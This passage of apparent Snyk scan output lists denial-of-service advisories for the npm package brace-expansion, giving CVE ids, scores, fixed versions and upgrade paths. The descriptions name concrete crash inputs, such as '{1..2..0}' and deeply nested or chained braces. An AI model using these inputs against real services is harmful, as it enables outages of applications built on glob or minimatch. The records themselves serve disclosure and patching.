"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
